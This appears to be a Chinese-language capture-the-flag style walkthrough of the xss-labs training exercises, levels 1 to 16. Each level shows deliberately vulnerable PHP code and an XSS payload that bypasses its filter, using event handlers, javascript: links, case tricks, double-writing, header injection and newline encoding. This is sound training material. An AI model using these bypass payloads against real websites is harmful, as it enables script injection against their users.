xss-labs-master通关教程
一.level1
先来进行一下代码审计
<?php
ini_set("display_errors", 0);//关闭错误显示
$str = $_GET["name"]; //接受URL来的get形式的name传参
echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的HTML代码进行执行
?>
从代码中发现这段代码没有对用户的输入进行任何的过滤,所以我们尝试执行js代码进行弹窗
可以看到在这里传入name参数
尝试执行js弹窗
成功执行
二.level2(闭合绕过)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
htmlspecialchars($str):对$str字符串中的特殊字符进行HTML实体化转义,比如<,>,&,",' 等
我们可以发现这个$str没有注入点,但是我们能发现下面这句代码中也有$str并且没有被转义
<input name=keyword value="'.$str.'">
playload:"><script>alert(1)</script><"
因为注入点在<input>这个标签的value这个值中所以我们需要闭合标签并执行
或者使用动作触发
playload:" onmouseover = "alert()
左面的双引号闭合左面的,右面的双引号闭合右面的,必须要鼠标去触摸搜索框才能触发
三.level3(触发绕过)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
这关发现他把value里的$str也进行了转义,我们就不能用普通的js代码了,可用用动作触发
四.level4(触发绕过)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//这里把>替换成了空
$str3=str_replace("<","",$str2);//这里把<替换成了空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
我们发现第一处和上面的都一样,所以主要看第二处,这里发现他把>和<全部置换为空了
我们可以看到<和>全都没了,所以就不能用了,可以用动作触发
五.level5(伪协议绕过)
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//全部变成小写
$str2=str_replace("<script","<scr_ipt",$str);//把script替换掉了
$str3=str_replace("on","o_n",$str2);//把on也替换掉了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<cen
我们发现他把script和on都进行了过滤,所以大部分的动作触发用不了了,作者了解不多知道的都带on,所以我们可以用<a>标签配合着js的为协议进行注入
playload:"><a href = "javascript:alert(1)" ></a> <"
点击XSS链接即可注入成功
六.level6(大小写绕过)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//替换script
$str3=str_replace("on","o_n",$str2);//替换on
$str4=str_replace("src","sr_c",$str3);//替换src
$str5=str_replace("data","da_ta",$str4);//替换data
$str6=str_replace("href","hr_ef",$str5);//替换href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
和前几关一样就是替换的多了href,src,data。这题和第5关有个区别就是他没有进行字符小写的转化,所以可以采用大小写绕过的方式
playload:"><Script>alert(/1/)</Script><"
七.level7(双写绕过)
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这关就是把前两关和起来了,把href,script,on,src,data都过滤了,并且把字符全转化为为小写的了
所以我们可以采用双写绕过,因为他只转化了一次
playload:"><scscriptript>alert(/1/)</scscriptript><"
八.level8(href隐藏特性:自动unicode解码)
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
这段php代码中没有注入点,那我们看看下面的php代码
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
我们发现传进去了一个链接,这里普及一个小知识:href属性在某些情况下具有自动Unicode解码的特性。这意味着,如果href属性中包含了Unicode编码的JavaScript代码或其他脚本,浏览器在解析时可能会自动将这些Unicode编码解码为相应的字符,从而执行这些脚本。
playload:javascript:alert(1)
点击友情链接即可注入
九.level9(href隐藏特性:自动unicode解码)
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
和第8关一样只不过多了一次判断必须得带有http://才行
playload:javascript:alert(1)/*http://*/
这里肯定有很多人好奇为什么不能放在前面的,下面做一些解释
为什么放在前面不好使?
当你将 /*http://*/
放在前面时,浏览器在解析这个 href
属性时会遇到一些非标准的字符序列。由于 /*
并不是URL的有效开始部分(除非它出现在CSS或JavaScript注释中,但这在HTML的 href
属性中不适用),浏览器可能会忽略它,或者尝试将其解析为URL的一部分但失败。由于URL的解析是从左到右进行的,如果开头的部分无法被识别为有效的URL协议或路径,那么整个URL可能会被视为无效。
为什么放在后面好使?
当你将 /*http://*/
放在后面时,情况就不同了。此时,javascript:
协议已经被正确识别,并且JavaScript代码 alert(1);
也被正确编码并包含在URL中。由于浏览器的解析机制是从左到右的,并且已经识别并处理了有效的URL协议和JavaScript代码,因此它可能会忽略掉URL末尾的注释部分(尽管这不是标准的URL行为,但浏览器可能会选择性地忽略它)。
十.level10(t_sort传参)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
从这段代码来看keyword参数没有任何注入点,只能尝试t_sort参数,他只过滤了>和<所以可以进行触发绕过,并且把隐藏框显示出来
playload:t_sort=" onfocus=javascript:alert(1) type = text"
十一.level11(referer传参)
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这里可以看到keyword和t_sort都没有注入点了,只能看HTTP_REFERER了,可以看到过滤了<,>
$_SERVER['HTTP_REFERER'];不可以通过URL来传参,所以我们需要抓包
我们需要使用BP进行抓包分析
修改一下referer字段
触碰一下搜索框
十二.level12(UA头传参)
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这关与上面差的就是从referer字段变成了user_agent字段,抓包把user_agent的头部修改一下
十三.level13(cookie传参)
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
这和前俩都差不多只是更改为cookie头,因为他是用user传参的所以我们要写user=playload
*
十四.level14(网站没了做不了)
十五.level15(网站包含)
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
可以看到这儿有个陌生的东西ng-include:ng-include
是 AngularJS 框架中的一个指令,用于在 AngularJS 应用中动态地包含 HTML 内容。这个指令允许你将外部 HTML 文件的内容或者 AngularJS 应用内部定义的 HTML 片段插入到当前视图的指定位置。这使得你可以复用 HTML 模板,提高了代码的可维护性和可重用性。
我们可以把任何一关包含进来比如第一关
playload:?src='/level1.php'
在对第一关进行注入
点击用户后面的图片即可
十六.level16(回车替换空格)
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
test插入到了center标签中,所以这里就不用闭合了,对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格
果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签
随便选个标签,将空格替换成回车的url编码,构造payload
playload:?keyword=<svg%0Aonload=alert(1)>
后面的关卡都用上flash,小编没有就不做解释了